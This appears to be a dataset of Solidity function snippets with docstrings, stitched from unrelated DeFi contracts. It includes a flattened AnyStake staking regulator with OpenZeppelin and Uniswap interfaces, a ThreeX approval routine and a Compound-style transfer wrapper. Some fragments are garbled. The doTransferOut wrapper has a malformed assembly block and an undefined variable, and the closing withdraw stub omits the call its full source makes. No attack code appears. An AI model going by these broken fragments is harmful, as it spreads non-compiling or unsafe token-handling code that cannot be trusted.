Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified it is >= amount, this should not revert in normal conditions. Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value./
function doTransferOut(address payable to, uint amount) virtual override internal { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; uint balanceAfter = EIP20Interface(underlying_).balanceOf(address(this)); assembly { switch returndatasize() } returndatacopy(0, 0, 32) }
2,919,303
./full_match/1/0x42189f909e1EFA409A4509070dDBc31A592422A8/sources/contracts/core/defi/three-x/ThreeXBatchProcessing.sol
sets approval for contracts that require access to assets held by this contract/
function setApprovals() external { (address[] memory yToken, ) = basicIssuanceModule.getRequiredComponentUnitsForIssue( ISetToken(address(mintBatchTokens.targetToken)), 1e18 ); for (uint256 i; i < yToken.length; i++) { IERC20 lpToken = componentDependencies[yToken[i]].lpToken; CurveMetapool curveMetapool = componentDependencies[yToken[i]].curveMetaPool; if (i == 0) { mintBatchTokens.sourceToken.safeApprove(address(curveMetapool), 0); mintBatchTokens.sourceToken.safeApprove(address(curveMetapool), type(uint256).max); lpToken.safeApprove(address(componentDependencies[yToken[i]].utilityPool), 0); lpToken.safeApprove(address(componentDependencies[yToken[i]].utilityPool), type(uint256).max); mintBatchTokens.sourceToken.safeApprove(address(componentDependencies[yToken[i]].angleRouter), 0); mintBatchTokens.sourceToken.safeApprove( address(componentDependencies[yToken[i]].angleRouter), type(uint256).max ); swapToken.safeApprove(address(componentDependencies[yToken[i]].angleRouter), 0); swapToken.safeApprove(address(componentDependencies[yToken[i]].angleRouter), type(uint256).max); swapToken.safeApprove(address(curveMetapool), 0); swapToken.safeApprove(address(curveMetapool), type(uint256).max); } lpToken.safeApprove(yToken[i], 0); lpToken.safeApprove(yToken[i], type(uint256).max); lpToken.safeApprove(address(curveMetapool), 0); lpToken.safeApprove(address(curveMetapool), type(uint256).max); } _approveBatchStorage(redeemBatchTokens.sourceToken); _approveBatchStorage(redeemBatchTokens.targetToken); _approveBatchStorage(mintBatchTokens.sourceToken); _approveBatchStorage(mintBatchTokens.targetToken); mintBatchTokens.targetToken.safeApprove(address(staking), 0); mintBatchTokens.targetToken.safeApprove(address(staking), type(uint256).max); }
4,938,916
// SPDX-License-Identifier: MIT pragma solidity 0.6.6; import "./lib/@defiat-crypto/interfaces/IDeFiatPoints.sol"; import "./interfaces/IAnyStakeMigrator.sol"; import "./interfaces/IAnyStakeRegulator.sol"; import "./interfaces/IAnyStakeVault.sol"; import "./utils/AnyStakeUtils.sol"; contract AnyStakeRegulator is IAnyStakeRegulator, AnyStakeUtils { using SafeMath for uint256; event Initialized(address indexed user, address vault); event Claim(address indexed user, uint256 amount); event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event Migrate(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event StakingFeeUpdated(address indexed user, uint256 stakingFee); event BuybackRateUpdated(address indexed user, uint256 buybackRate); event PriceMultiplierUpdated(address indexed user, uint256 amount); event MigratorUpdated(address indexed user, address migrator); event VaultUpdated(address indexed user, address vault); event RegulatorActive(address indexed user, bool active); struct UserInfo { uint256 amount; uint256 rewardDebt; uint256 lastRewardBlock; } mapping (address => UserInfo) public userInfo; address public migrator; address public vault; bool public active; // staking is active bool public initialized; // contract has been initialized uint256 public stakingFee; // fee taken on withdrawals uint256 public priceMultiplier; // price peg control, DFT_PRICE = (DFTP_PRICE * priceMultiplier) / 1000 uint256 public lastRewardBlock; // last block that rewards were received uint256 public buybackBalance; // total pending DFT awaiting stabilization uint256 public buybackRate; // rate of rewards stockpiled for stabilization uint256 public rewardsPerShare; // DFT rewards per DFTP, times 1e18 to prevent underflow uint256 public pendingRewards; // total pending DFT rewards uint256 public totalShares; // total staked shares modifier NoReentrant(address user) { require( block.number > userInfo[user].lastRewardBlock, "Regulator: Must wait 1 block" ); _; } modifier onlyVault() { require(msg.sender == vault, "AnyStake: Only Vault allowed"); _; } modifier activated() { require(initialized, "Regulator: Not initialized yet"); _; } constructor(address _router, address _gov, address _points, address _token) public AnyStakeUtils(_router, _gov, _points, _token) { priceMultiplier = 10000; // 10000 / 1000 = 10:1 stakingFee = 100; // 10% buybackRate = 300; // 30% } function initialize(address _vault) external onlyGovernor { require(_vault != address(0), "Initialize: Must pass in Vault"); require(!initialized, "Initialize: Regulator already initialized"); vault = _vault; active = true; initialized = true; emit Initialized(msg.sender, vault); } function stabilize(uint256 amount) internal { if (isAbovePeg()) { // Above Peg: sell DFTP, buy DFT, add to rewards IERC20(DeFiatPoints).transfer(vault, amount); IAnyStakeVault(vault).buyDeFiatWithTokens(DeFiatPoints, amount); } else { // Below Peg: sell DFT, buy DFTP, burn all proceeds (deflationary) IAnyStakeVault(vault).buyPointsWithTokens(DeFiatToken, buybackBalance); IDeFiatPoints(DeFiatPoints).burn(amount); IDeFiatPoints(DeFiatPoints).overrideLoyaltyPoints(vault, 0); buybackBalance = 0; } } // Pool - Add rewards function addReward(uint256 amount) external override onlyVault { if (amount == 0) { return; } uint256 buybackAmount = amount.mul(buybackRate).div(1000); uint256 rewardAmount = amount.sub(buybackAmount); if (buybackAmount > 0) { buybackBalance = buybackBalance.add(buybackAmount); } if (rewardAmount > 0) { pendingRewards = pendingRewards.add(rewardAmount); } } // Pool - Update pool rewards, pull from Vault function updatePool() external override { _updatePool(); } // Pool - Update pool internal function _updatePool() internal { if (totalShares == 0 || block.number <= lastRewardBlock || !active) { return; } // calculate rewards, calls addReward() IAnyStakeVault(vault).calculateRewards(); // update rewardsPerShare rewardsPerShare = rewardsPerShare.add(pendingRewards.mul(1e18).div(totalShares)); lastRewardBlock = block.number; pendingRewards = 0; } function claim() external override activated NoReentrant(msg.sender) { _updatePool(); _claim(msg.sender); } // Pool - Claim internal function _claim(address _user) internal { // get pending rewards UserInfo storage user = userInfo[_user]; uint256 rewards = pending(_user); if (rewards == 0) { return; } // update pool / user metrics user.rewardDebt = user.amount.mul(rewardsPerShare).div(1e18); user.lastRewardBlock = block.number; // transfer IAnyStakeVault(vault).distributeRewards(_user, rewards); emit Claim(_user, rewards); } // Pool - Deposit DeFiat Points (DFTP) to earn DFT and stablize token prices function deposit(uint256 amount) external override activated NoReentrant(msg.sender) { _updatePool(); _deposit(msg.sender, amount); } // Pool - deposit internal, perform the stablization function _deposit(address _user, uint256 _amount) internal { UserInfo storage user = userInfo[_user]; require(_amount > 0, "Deposit: Cannot deposit zero tokens"); _claim(_user); // update pool / user metrics totalShares = totalShares.add(_amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(rewardsPerShare).div(1e18); IERC20(DeFiatPoints).transferFrom(_user, address(this), _amount); emit Deposit(_user, _amount); } // Pool - Withdraw function, currently unused function withdraw(uint256 amount) external override NoReentrant(msg.sender) { _updatePool(); _withdraw(msg.sender, amount); // internal, unused } // Pool - Withdraw internal, unused function _withdraw(address _user, uint256 _amount) internal { UserInfo storage user = userInfo[_user]; require(_amount <= user.amount, "Withdraw: Not enough staked"); _claim(_user); uint256 feeAmount = _amount.mul(stakingFee).div(1000); uint256 remainingUserAmount = _amount.sub(feeAmount); if (feeAmount > 0) { stabilize(feeAmount); } totalShares = totalShares.sub(_amount); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(rewardsPerShare).div(1e18); IERC20(DeFiatPoints).transfer(_user, remainingUserAmount); emit Withdraw(_user, remainingUserAmount); } function migrate() external override NoReentrant(msg.sender) { _updatePool(); _migrate(msg.sender); } function _migrate(address _user) internal { UserInfo storage user = userInfo[_user]; uint256 balance = user.amount; require(migrator != address(0), "Migrate: No migrator set"); require(balance > 0, "Migrate: No tokens to migrate"); IERC20(DeFiatPoints).approve(migrator, balance); IAnyStakeMigrator(migrator).migrateTo(_user, DeFiatPoints, balance); emit Migrate(_user, balance); } // Emergency withdraw all basis, burn the staking fee function emergencyWithdraw() external NoReentrant(msg.sender) { UserInfo storage user = userInfo[msg.sender]; require(user.amount > 0, "EmergencyWithdraw: user amount insufficient"); uint256 feeAmount = user.amount.mul(stakingFee).div(1000); uint256 remainingUserAmount = user.amount.sub(feeAmount); totalShares = totalShares.sub(user.amount); user.amount = 0; user.rewardDebt = 0; user.lastRewardBlock = block.number; IDeFiatPoints(DeFiatPoints).burn(feeAmount); safeTokenTransfer(msg.sender, DeFiatPoints, remainingUserAmount); emit EmergencyWithdraw(msg.sender, remainingUserAmount); } function isAbovePeg() public view returns (bool) { uint256 tokenPrice = IAnyStakeVault(vault).getTokenPrice(DeFiatToken, DeFiatTokenLp); uint256 pointsPrice = IAnyStakeVault(vault).getTokenPrice(DeFiatPoints, DeFiatPointsLp); return pointsPrice.mul(priceMultiplier).div(1000) > tokenPrice; } // View - Pending DFT Rewards for user in pool function pending(address _user) public view returns (uint256) { UserInfo memory user = userInfo[_user]; return user.amount.mul(rewardsPerShare).div(1e18).sub(user.rewardDebt); } // Governance - Set Staking Fee function setStakingFee(uint256 _stakingFee) external onlyGovernor { require(_stakingFee != stakingFee, "SetFee: No fee change"); require(_stakingFee <= 1000, "SetFee: Fee cannot exceed 100%"); stakingFee = _stakingFee; emit StakingFeeUpdated(msg.sender, stakingFee); } // Governance - Set Buyback Rate function setBuybackRate(uint256 _buybackRate) external onlyGovernor { require(_buybackRate != buybackRate, "SetBuybackRate: No rate change"); require(_buybackRate <= 1000, "SetBuybackRate: Cannot exceed 100%"); buybackRate = _buybackRate; emit BuybackRateUpdated(msg.sender, buybackRate); } // Governance - Set DeFiat Points price multiplier function setPriceMultiplier(uint256 _priceMultiplier) external onlyGovernor { require(_priceMultiplier != priceMultiplier, "SetMultiplier: No multiplier change"); require(_priceMultiplier > 0, "SetMultiplier: Must be greater than zero"); priceMultiplier = _priceMultiplier; emit PriceMultiplierUpdated(msg.sender, priceMultiplier); } // Governance - Set Migrator function setMigrator(address _migrator) external onlyGovernor { require(_migrator != address(0), "SetMigrator: No migrator change"); migrator = _migrator; emit MigratorUpdated(msg.sender, _migrator); } // Governance - Set Vault function setVault(address _vault) external onlyGovernor { require(_vault != address(0), "SetVault: No migrator change"); vault = _vault; emit VaultUpdated(msg.sender, vault); } // Governance - Set Pool Deposits active function setActive(bool _active) external onlyGovernor { require(_active != active, "SetActive: No active change"); active = _active; emit RegulatorActive(msg.sender, active); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; interface IAnyStakeMigrator { function migrateTo(address user, address token, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; interface IAnyStakeRegulator { function addReward(uint256 amount) external; function claim() external; function deposit(uint256 amount) external; function withdraw(uint256 amount) external; function migrate() external; function updatePool() external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; interface IAnyStakeVault { function buyDeFiatWithTokens(address token, uint256 amount) external; function buyPointsWithTokens(address token, uint256 amount) external; function calculateRewards() external; function distributeRewards(address recipient, uint256 amount) external; function getTokenPrice(address token, address lpToken) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; interface IDeFiatGov { function mastermind() external view returns (address); function viewActorLevelOf(address _address) external view returns (uint256); function viewFeeDestination() external view returns (address); function viewTxThreshold() external view returns (uint256); function viewBurnRate() external view returns (uint256); function viewFeeRate() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; interface IDeFiatPoints { function viewDiscountOf(address _address) external view returns (uint256); function viewEligibilityOf(address _address) external view returns (uint256 tranche); function discountPointsNeeded(uint256 _tranche) external view returns (uint256 pointsNeeded); function viewTxThreshold() external view returns (uint256); function viewRedirection(address _address) external view returns (bool); function overrideLoyaltyPoints(address _address, uint256 _points) external; function addPoints(address _address, uint256 _txSize, uint256 _points) external; function burn(uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; import "./DeFiatUtils.sol"; import "../interfaces/IDeFiatGov.sol"; abstract contract DeFiatGovernedUtils is DeFiatUtils { event GovernanceUpdated(address indexed user, address governance); address public governance; modifier onlyMastermind { require( msg.sender == IDeFiatGov(governance).mastermind() || msg.sender == owner(), "Gov: Only Mastermind" ); _; } modifier onlyGovernor { require( IDeFiatGov(governance).viewActorLevelOf(msg.sender) >= 2 || msg.sender == owner(), "Gov: Only Governors" ); _; } modifier onlyPartner { require( IDeFiatGov(governance).viewActorLevelOf(msg.sender) >= 1 || msg.sender == owner(), "Gov: Only Partners" ); _; } function _setGovernance(address _governance) internal { require(_governance != governance, "SetGovernance: No governance change"); governance = _governance; emit GovernanceUpdated(msg.sender, governance); } function setGovernance(address _governance) external onlyGovernor { _setGovernance(_governance); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; import "../../@openzeppelin/token/ERC20/IERC20.sol"; import "../../@openzeppelin/access/Ownable.sol"; abstract contract DeFiatUtils is Ownable { event TokenSweep(address indexed user, address indexed token, uint256 amount); // Sweep any tokens/ETH accidentally sent or airdropped to the contract function sweep(address token) public virtual onlyOwner { uint256 amount = IERC20(token).balanceOf(address(this)); require(amount > 0, "Sweep: No token balance"); IERC20(token).transfer(msg.sender, amount); // use of the ERC20 traditional transfer if (address(this).balance > 0) { payable(msg.sender).transfer(address(this).balance); } emit TokenSweep(msg.sender, token, amount); } // Self-Destruct contract to free space on-chain, sweep any ETH to owner function kill() external onlyOwner { selfdestruct(payable(msg.sender)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; interface IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); // Standard function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.6; import "../lib/@defiat-crypto/utils/DeFiatUtils.sol"; import "../lib/@defiat-crypto/utils/DeFiatGovernedUtils.sol"; import "../lib/@openzeppelin/token/ERC20/SafeERC20.sol"; import "../lib/@uniswap/interfaces/IUniswapV2Factory.sol"; import "../lib/@uniswap/interfaces/IUniswapV2Router02.sol"; abstract contract AnyStakeUtils is DeFiatGovernedUtils { using SafeERC20 for IERC20; event PointsUpdated(address indexed user, address points); event TokenUpdated(address indexed user, address token); event UniswapUpdated(address indexed user, address router, address weth, address factory); address public router; address public factory; address public weth; address public DeFiatToken; address public DeFiatPoints; address public DeFiatTokenLp; address public DeFiatPointsLp; mapping (address => bool) internal _blacklistedAdminWithdraw; constructor(address _router, address _gov, address _points, address _token) public { _setGovernance(_gov); router = _router; DeFiatPoints = _points; DeFiatToken = _token; weth = IUniswapV2Router02(router).WETH(); factory = IUniswapV2Router02(router).factory(); DeFiatTokenLp = IUniswapV2Factory(factory).getPair(_token, weth); DeFiatPointsLp = IUniswapV2Factory(factory).getPair(_points, weth); } function sweep(address _token) public override onlyOwner { require(!_blacklistedAdminWithdraw[_token], "Sweep: Cannot withdraw blacklisted token"); DeFiatUtils.sweep(_token); } function isBlacklistedAdminWithdraw(address _token) external view returns (bool) { return _blacklistedAdminWithdraw[_token]; } // Method to avoid underflow on token transfers function safeTokenTransfer(address user, address token, uint256 amount) internal { if (amount == 0) { return; } uint256 tokenBalance = IERC20(token).balanceOf(address(this)); if (amount > tokenBalance) { IERC20(token).safeTransfer(user, tokenBalance); } else { IERC20(token).safeTransfer(user, amount); } } function setToken(address _token) external onlyGovernor { require(_token != DeFiatToken, "SetToken: No token change"); require(_token != address(0), "SetToken: Must set token value"); DeFiatToken = _token; DeFiatTokenLp = IUniswapV2Factory(factory).getPair(_token, weth); emit TokenUpdated(msg.sender, DeFiatToken); } function setPoints(address _points) external onlyGovernor { require(_points != DeFiatPoints, "SetPoints: No points change"); require(_points != address(0), "SetPoints: Must set points value"); DeFiatPoints = _points; DeFiatPointsLp = IUniswapV2Factory(factory).getPair(_points, weth); emit PointsUpdated(msg.sender, DeFiatPoints); } function setUniswap(address _router) external onlyGovernor { require(_router != router, "SetUniswap: No uniswap change"); require(_router != address(0), "SetUniswap: Must set uniswap value"); router = _router; weth = IUniswapV2Router02(router).WETH(); factory = IUniswapV2Router02(router).factory(); emit UniswapUpdated(msg.sender, router, weth, factory); } }
Pool - Withdraw function, currently unused
function withdraw(uint256 amount) external override NoReentrant(msg.sender) { _updatePool(); }
5,739,365
